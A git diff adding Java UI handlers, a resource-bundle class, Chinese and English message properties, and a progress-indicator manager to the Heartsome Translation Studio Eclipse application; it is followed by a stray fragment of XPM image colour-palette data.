org.eclipse.ui.PlatformUI; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.commands.IElementUpdater; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.internal.WorkbenchWindow; +import org.eclipse.ui.menus.UIElement; + +@SuppressWarnings("restriction") +public class OpenToolBarHandler extends AbstractHandler implements IElementUpdater{ + + public Object execute(ExecutionEvent event) throws ExecutionException { + final IWorkbenchWindow activeWorkbenchWindow = HandlerUtil.getActiveWorkbenchWindowChecked(event); + if (activeWorkbenchWindow instanceof WorkbenchWindow) { + WorkbenchWindow window = (WorkbenchWindow) activeWorkbenchWindow; + window.toggleToolbarVisibility(); + } + + ICommandService commandService = (ICommandService) PlatformUI.getWorkbench().getService(ICommandService.class); + commandService.refreshElements(event.getCommand().getId(), null); + + return null; + } + + @SuppressWarnings("rawtypes") + public void updateElement(final UIElement element, Map parameters) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + final IWorkbenchWindow activeWorkbenchWindow = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (activeWorkbenchWindow instanceof WorkbenchWindow) { + WorkbenchWindow window = (WorkbenchWindow) activeWorkbenchWindow; + boolean coolbarVisible = window.getCoolBarVisible(); + element.setIcon(coolbarVisible ? Activator.getImageDescriptor("icons/enabled_co.png") : Activator + .getImageDescriptor("icons/disabled_co.png")); + } + } + }); + + } +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/PreferenceHandler.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/PreferenceHandler.java new file mode 100644 index 0000000..2b105f6 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/handler/PreferenceHandler.java @@ -0,0 +1,28 @@ +package net.heartsome.cat.ts.handler; + +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 首选项的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class PreferenceHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + if (window != null) { + PreferenceUtil.openPreferenceDialog(window, null); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/Messages.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/Messages.java new file mode 100644 index 0000000..9663437 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message.properties b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message.properties new file mode 100644 index 0000000..9c89eef --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message.properties @@ -0,0 +1,33 @@ +ts.ApplicationActionBarAdvisor.exitAction = \u9000\u51fa +ts.ApplicationActionBarAdvisor.cutAction = \u526a\u5207 +ts.ApplicationActionBarAdvisor.copyAction = \u590d\u5236 +ts.ApplicationActionBarAdvisor.pasteAction = \u7c98\u8d34 +ts.ApplicationActionBarAdvisor.deleteAction = \u5220\u9664 +ts.ApplicationActionBarAdvisor.findAction = \u67e5\u627e/\u66ff\u6362... +ts.ApplicationActionBarAdvisor.preferenceAction = \u9009\u9879(&O)... +ts.ApplicationActionBarAdvisor.helpAction = \u67e5\u770b\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.helpSearchAction = \u641c\u7d22\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.dynamicHelpAction = \u52a8\u6001\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.aboutAction = \u5173\u4e8e Translation Studio +ts.ApplicationActionBarAdvisor.menu.file = \u6587\u4ef6(&F) +ts.ApplicationActionBarAdvisor.menu.edit = \u7f16\u8f91(&E) +ts.ApplicationActionBarAdvisor.menu.tool = \u5de5\u5177(&L) +ts.ApplicationActionBarAdvisor.menu.help = \u5e2e\u52a9(&H) + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.title = \u5173\u4e8e Heartsome Translation Studio +dialog.AboutDialog.lblVersionU = Heartsome Translation Studio \u65d7\u8230\u7248 +dialog.AboutDialog.lblVersionF = Heartsome Translation Studio \u4e13\u4e1a\u7248 +dialog.AboutDialog.lblVersionP = Heartsome Translation Studio \u4e2a\u4eba\u7248 +dialog.AboutDialog.lblVersionL = Heartsome Translation Studio \u7cbe\u7b80\u7248 +dialog.AboutDialog.lblVersion2 = \u7248\u672c\uff1a{0} Build {1} +dialog.AboutDialog.lblProduct = \u4ea7\u54c1\u4e3b\u9875\uff1a +dialog.AboutDialog.lblSupport = \u6280\u672f\u652f\u6301\uff1a +dialog.AboutDialog.lblCopyRight = \u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229 +dialog.AboutDialog.lblWarn = \u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\u5185\u6536\u5230\u8d77\u8bc9\u3002 +dialog.AboutDialog.msgTitle = \u63d0\u793a +dialog.AboutDialog.msg = \u83b7\u53d6\u7248\u672c\u4fe1\u606f\u6709\u8bef\uff0c\u8f6f\u4ef6\u5373\u5c06\u9000\u51fa\u3002\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome \u7ffb\u8bd1\u5de5\u4f5c\u5ba4\u3002 + +########################## 2012-10-19 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/CN/support.html diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message_en.properties b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message_en.properties new file mode 100644 index 0000000..71c1476 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message_en.properties @@ -0,0 +1,30 @@ +ts.ApplicationActionBarAdvisor.exitAction = Exit +ts.ApplicationActionBarAdvisor.cutAction = Cut +ts.ApplicationActionBarAdvisor.copyAction = Copy +ts.ApplicationActionBarAdvisor.pasteAction = Paste +ts.ApplicationActionBarAdvisor.deleteAction = Delete +ts.ApplicationActionBarAdvisor.findAction = Find/Replace... +ts.ApplicationActionBarAdvisor.preferenceAction = &Options... +ts.ApplicationActionBarAdvisor.helpAction = Help +ts.ApplicationActionBarAdvisor.menu.file = &File +ts.ApplicationActionBarAdvisor.menu.edit = &Edit +ts.ApplicationActionBarAdvisor.menu.tool = Too&ls +ts.ApplicationActionBarAdvisor.menu.help = &Help + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.title = About Heartsome Translation Studio +dialog.AboutDialog.lblVersionU = Heartsome Translation Studio Ultimate Edition +dialog.AboutDialog.lblVersionF = Heartsome Translation Studio Professional Edition +dialog.AboutDialog.lblVersionP = Heartsome Translation Studio Personal Edition +dialog.AboutDialog.lblVersionL = Heartsome Translation Studio Lite Edition +dialog.AboutDialog.lblVersion2 = Version: {0} Build {1} +dialog.AboutDialog.lblProduct = Product Home: +dialog.AboutDialog.lblSupport = Technical Support: +dialog.AboutDialog.lblCopyRight = Copyright (C) 2012 Heartsome Technologies Ltd. All rights reserved. +dialog.AboutDialog.lblWarn = Warning: This computer program is protected by copyright law and international treaties.\nUnauthorized modification or distribution of the program or its any part may result in severe civil and criminal penalties, prosecution to the maximum extent permitted by law. +dialog.AboutDialog.msgTitle = Message +dialog.AboutDialog.msg = Error occurred while obtaining version information. The software will now exit.\nPlease reinstall Heartsome Translation Studio. + +########################## 2012-10-19 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/EN/support.html diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message_zh.properties b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message_zh.properties new file mode 100644 index 0000000..9c89eef --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/resource/message_zh.properties @@ -0,0 +1,33 @@ +ts.ApplicationActionBarAdvisor.exitAction = \u9000\u51fa +ts.ApplicationActionBarAdvisor.cutAction = \u526a\u5207 +ts.ApplicationActionBarAdvisor.copyAction = \u590d\u5236 +ts.ApplicationActionBarAdvisor.pasteAction = \u7c98\u8d34 +ts.ApplicationActionBarAdvisor.deleteAction = \u5220\u9664 +ts.ApplicationActionBarAdvisor.findAction = \u67e5\u627e/\u66ff\u6362... +ts.ApplicationActionBarAdvisor.preferenceAction = \u9009\u9879(&O)... +ts.ApplicationActionBarAdvisor.helpAction = \u67e5\u770b\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.helpSearchAction = \u641c\u7d22\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.dynamicHelpAction = \u52a8\u6001\u5e2e\u52a9 +ts.ApplicationActionBarAdvisor.aboutAction = \u5173\u4e8e Translation Studio +ts.ApplicationActionBarAdvisor.menu.file = \u6587\u4ef6(&F) +ts.ApplicationActionBarAdvisor.menu.edit = \u7f16\u8f91(&E) +ts.ApplicationActionBarAdvisor.menu.tool = \u5de5\u5177(&L) +ts.ApplicationActionBarAdvisor.menu.help = \u5e2e\u52a9(&H) + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.title = \u5173\u4e8e Heartsome Translation Studio +dialog.AboutDialog.lblVersionU = Heartsome Translation Studio \u65d7\u8230\u7248 +dialog.AboutDialog.lblVersionF = Heartsome Translation Studio \u4e13\u4e1a\u7248 +dialog.AboutDialog.lblVersionP = Heartsome Translation Studio \u4e2a\u4eba\u7248 +dialog.AboutDialog.lblVersionL = Heartsome Translation Studio \u7cbe\u7b80\u7248 +dialog.AboutDialog.lblVersion2 = \u7248\u672c\uff1a{0} Build {1} +dialog.AboutDialog.lblProduct = \u4ea7\u54c1\u4e3b\u9875\uff1a +dialog.AboutDialog.lblSupport = \u6280\u672f\u652f\u6301\uff1a +dialog.AboutDialog.lblCopyRight = \u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229 +dialog.AboutDialog.lblWarn = \u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\u5185\u6536\u5230\u8d77\u8bc9\u3002 +dialog.AboutDialog.msgTitle = \u63d0\u793a +dialog.AboutDialog.msg = \u83b7\u53d6\u7248\u672c\u4fe1\u606f\u6709\u8bef\uff0c\u8f6f\u4ef6\u5373\u5c06\u9000\u51fa\u3002\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome \u7ffb\u8bd1\u5de5\u4f5c\u5ba4\u3002 + +########################## 2012-10-19 \u6dfb\u52a0 ########################################## +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/CN/support.html diff --git a/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/util/ProgressIndicatorManager.java b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/util/ProgressIndicatorManager.java new file mode 100644 index 0000000..ca9fae0 --- /dev/null +++ b/ts/net.heartsome.cat.ts/src/net/heartsome/cat/ts/util/ProgressIndicatorManager.java @@ -0,0 +1,72 @@ +package net.heartsome.cat.ts.util; + +import net.heartsome.cat.ts.Activator; +import net.heartsome.cat.ts.ApplicationWorkbenchAdvisor; +import net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor; +import net.heartsome.cat.ts.TsPreferencesConstant; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.widgets.Display; + + +/** + * 状æ€æ æœ€å³ä¾§çš„åŽå°è¿›åº¦æ¡ç®¡ç†ï¼ˆå³æŽ§åˆ¶å…¶æ˜¾ç¤ºæˆ–éšè—),主è¦æ˜¯é’ˆå¯¹ BUG 2652 + * @author robert 2012-11-07 + */ +public class ProgressIndicatorManager { + /** 能够éšè—åŽå°è¿›åº¦æ¡çš„标识,如果大于等于1,是ä¸èƒ½éšè—的,标志还有其他程åºåœ¨ä½¿ç”¨ */ + private static int statusTag = 0; + + /** + * 当进度æ¡è¦æ˜¾ç¤ºå‡ºæ¥æ—¶ï¼Œæ˜¾ç¤ºçŠ¶æ€æ å³ä¸‹æ–¹çš„åŽå°è¿›åº¦æ¡ã€‚ + */ + public static void displayProgressIndicator(){ + Display.getDefault().asyncExec(new Runnable() { + public void run() { + statusTag ++; + + // 首先检查状æ€æ æ˜¯å¦å¤„于éšè—状æ€ï¼Œå¦‚果是éšè—的,直接退出 + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + boolean isVisible = preferenceStore.getBoolean(TsPreferencesConstant.TS_statusBar_status); + + if (!isVisible) { + return; + } + + ApplicationWorkbenchWindowAdvisor configurer = ApplicationWorkbenchAdvisor.WorkbenchWindowAdvisor; + configurer.setProgressIndicatorVisible(true); + } + }); + + } + + /** + * 进度æ¡å…³é—­åŽï¼Œéšè—状æ€æ å³ä¸‹æ–¹çš„åŽå°è¿›åº¦æ¡ + */ + public static void hideProgressIndicator(){ + Display.getDefault().asyncExec(new Runnable() { + public void run() { + statusTag --; + + // 如果 状æ€æ ‡å¿— 大于0,则ä¸å…éšè—åŽå°è¿›åº¦æ¡ + if (statusTag > 0) { + return; + } + + // 首先检查状æ€æ æ˜¯å¦å¤„于éšè—状æ€ï¼Œå¦‚果是éšè—的,直接退出 + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + boolean isVisible = preferenceStore.getBoolean(TsPreferencesConstant.TS_statusBar_status); + + if (!isVisible) { + return; + } + + ApplicationWorkbenchWindowAdvisor configurer = ApplicationWorkbenchAdvisor.WorkbenchWindowAdvisor; + configurer.setProgressIndicatorVisible(false); + } + }); + } + + + +}

    q c #B39A75", +",q c #3F3E16", +"'q c #6D6721", +")q c #857438", +"!q c #9E7E4A", +"~q c #BA954E", +"{q c #CDA64C", +"]q c #D5A94B", +"^q c #DFAE4A", +"/q c #E4B04A", +"(q c #E7B149", +"_q c #E6B048", +":q c #E0AB47", +"r c #F5E7DC", +",r c #F5E7DF", +"'r c #F5E8E0", +")r c #F7EBE1", +"!r c #FAEEE3", +"~r c #FBEFE3", +"{r c #FAEDE1", +"]r c #F7EADC", +"^r c #F3E4D3", +"/r c #EEDCC7", +"(r c #E7D1B4", +"_r c #F8D8A7", +":r c #AA9071", +"s c #CCB750", +",s c #FFF559", +"'s c #DACE3D", +")s c #5C502E", +"!s c #A8988C", +"~s c #FFEDCC", +"{s c #EFDBBD", +"]s c #EBD9C2", +"^s c #EFDECA", +"/s c #F0E0CF", +"(s c #F3E4D6", +"_s c #F4E4D8", +":s c #F4E4DA", +"t c #343202", +",t c #706826", +"'t c #A79B3A", +")t c #C6B649", +"!t c #C7B64C", +"~t c #EEE24B", +"{t c #C6B94C", +"]t c #D5C94C", +"^t c #DFD14D", +"/t c #C2AE4D", +"(t c #D4BF4D", +"_t c #D6C14D", +":t c #D5C04D", +"u c #FFF5E5", +",u c #F0DDCB", +"'u c #EDDBC4", +")u c #F3DDBE", +"!u c #DAC1A5", +"~u c #484125", +"{u c #4D4910", +"]u c #79702A", +"^u c #A99A3E", +"/u c #C5B549", +"(u c #F3E84B", +"_u c #D9CC4A", +":u c #AC9A4A", +"v c #887836", +",v c #DFC2AE", +"'v c #E8D1B3", +")v c #F5E6D7", +"!v c #F6E7DB", +"~v c #FDEFE6", +"{v c #DED1C6", +"]v c #E3D4C6", +"^v c #FEEDDD", +"/v c #EEDDC9", +"(v c #B5A087", +"_v c #302C0B", +":v c #5A521D", +"w c #DEC700", +",w c #D7C100", +"'w c #C7B100", +")w c #D6C400", +"!w c #E4D400", +"~w c #BDA700", +"{w c #D1BB00", +"]w c #948600", +"^w c #7B6A49", +"/w c #F6D6B4", +"(w c #E8D2B3", +"_w c #ECDAC3", +":w c #EFDECE", +"x c #E7CB00", +",x c #DAC000", +"'x c #CDB500", +")x c #B7A100", +"!x c #EEDF00", +"~x c #B29F00", +"{x c #BDA800", +"]x c #CEB800", +"^x c #DCC400", +"/x c #D6BF00", +"(x c #C5AE00", +"_x c #D9C700", +":x c #E3D200", +"y c #B56500", +",y c #C56E00", +"'y c #D47400", +")y c #D87400", +"!y c #E07705", +"~y c #7E441D", +"{y c #F7BC12", +"]y c #E8D500", +"^y c #E9CB00", +"/y c #E7CA00", +"(y c #DCC100", +"_y c #CFB600", +":y c #BDA400", +"z c #CA7800", +",z c #B86D00", +"'z c #A15800", +")z c #915100", +"!z c #FDF000", +"~z c #D4B300", +"{z c #8E3F00", +"]z c #B36400", +"^z c #C56C00", +"/z c #D67200", +"(z c #E07505", +"_z c #F7BA12", +":z c #E8D200", +"A c #D38400", +",A c #D88500", +"'A c #DA8300", +")A c #DB8400", +"!A c #DE8500", +"~A c #D98200", +"{A c #C97800", +"]A c #B86C00", +"^A c #9E5400", +"/A c #9C5E00", +"(A c #FFFC00", +"_A c #914100", +":A c #B46400", +"B c #9F5700", +",B c #BE7700", +"'B c #CE8100", +")B c #D38100", +"!B c #D78200", +"~B c #DA8400", +"{B c #D58100", +"]B c #C67600", +"^B c #B56A00", +"/B c #984D00", +"(B c #A16700", +"_B c #B98A00", +":B c #954500", +"C c #9D6300", +",C c #C3A200", +"'C c #DFD100", +")C c #E4D200", +"!C c #D3BE00", +"~C c #CFB300", +"{C c #D7BE00", +"]C c #E1CE00", +"^C c #CAA000", +"/C c #A95C00", +"(C c #C27500", +"_C c #CC7E00", +":C c #D28000", +"D c #352500", +",D c #6F4C00", +"'D c #9D6C00", +")D c #CA8B00", +"!D c #CC8B00", +"~D c #B07000", +"{D c #A16600", +"]D c #F1E200", +"^D c #DEC600", +"/D c #A37000", +"(D c #844500", +"_D c #8A4A00", +":D c #A76E00", +"E c #DCA475", +",E c #E8AA72", +"'E c #654A26", +")E c #362500", +"!E c #704D00", +"~E c #C28600", +"{E c #B37800", +"]E c #996200", +"^E c #E5D700", +"/E c #F7F900", +"(E c #A57B00", +"_E c #824200", +":E c #965800", +"F c #E3B095", +",F c #E5B297", +"'F c #E5B292", +")F c #E3AE89", +"!F c #E1AB80", +"~F c #E6AB77", +"{F c #534028", +"]F c #291E08", +"^F c #583F10", +"/F c #765416", +"(F c #825B18", +"_F c #754E15", +":F c #795715", +"G c #DEAB00", +",G c #6D530C", +"'G c #945932", +")G c #C88747", +"!G c #CD975C", +"~G c #DCAA70", +"{G c #D9A783", +"]G c #DCAA91", +"^G c #E3B198", +"/G c #E6B399", +"(G c #E6B294", +"_G c #E3AF8C", +":G c #E0AA83", +"H c #EDD900", +",H c #B98900", +"'H c #D4A100", +")H c #B08B00", +"!H c #734C1B", +"~H c #BE7335", +"{H c #BC8149", +"]H c #CD975E", +"^H c #DFAD73", +"/H c #DDAC86", +"(H c #DCA993", +"_H c #E2B099", +":H c #E5B399", +"I c #F1DE00", +",I c #CDA700", +"'I c #D79E00", +")I c #886C04", +"!I c #734424", +"~I c #C77931", +"{I c #BC8047", +"]I c #CA935B", +"^I c #DCAA71", +"/I c #E1B084", +"(I c #DCAA92", +"_I c #E2AF99", +":I c #E5B099", +"J c #584500", +",J c #7F6300", +"'J c #B88F00", +")J c #D0A100", +"!J c #BB8700", +"~J c #E5CC00", +"{J c #E7D000", +"]J c #D29700", +"^J c #7A6009", +"/J c #774227", +"(J c #C3732B", +"_J c #BA7B40", +":J c #C58C55", +"K c #BB6A27", +",K c #8B5227", +"'K c #2D2809", +")K c #594600", +"!K c #C29500", +"~K c #D4A300", +"{K c #C69300", +"]K c #C89F00", +"^K c #F0DE00", +"/K c #D4A200", +"(K c #947303", +"_K c #643B21", +":K c #BF682A", +"L c #AB5C28", +",L c #AC6124", +"'L c #A96029", +")L c #422F11", +"!L c #433900", +"~L c #826500", +"{L c #BD9200", +"]L c #D09F00", +"^L c #B88300", +"/L c #E4CA00", +"(L c #CA8F00", +"_L c #796109", +":L c #5E3123", +"M c #A45527", +",M c #A65B22", +"'M c #BF6827", +")M c #663E1B", +"!M c #725800", +"~M c #AD8500", +"{M c #D2A100", +"]M c #C59100", +"^M c #D4A800", +"/M c #CC9600", +"(M c #755E07", +"_M c #532E1C", +":M c #A75C33", +"N c #9C8E10", +",N c #883B25", +"'N c #AA5C21", +")N c #B66023", +"!N c #864B24", +"~N c #221F07", +"{N c #5A4400", +"]N c #937200", +"^N c #C89900", +"/N c #D6A100", +"(N c #D09E00", +"_N c #B98300", +":N c #DDBF00", +"O c #A45620", +",O c #B35C25", +"'O c #452D15", +")O c #2D2600", +"!O c #785900", +"~O c #B38900", +"{O c #D2A000", +"]O c #CA9900", +"^O c #BD8800", +"/O c #D4AE00", +"(O c #B57A00", +"_O c #E0A400", +":O c #B78900", +"P c #1D0A03", +",P c #6C3B1E", +"'P c #BA5D20", +")P c #A0531E", +"!P c #B95C20", +"~P c #7B4321", +"{P c #1B1905", +"]P c #593D00", +"^P c #957100", +"/P c #C79A00", +"(P c #D3A100", +"_P c #D19E00", +":P c #BF8700", +"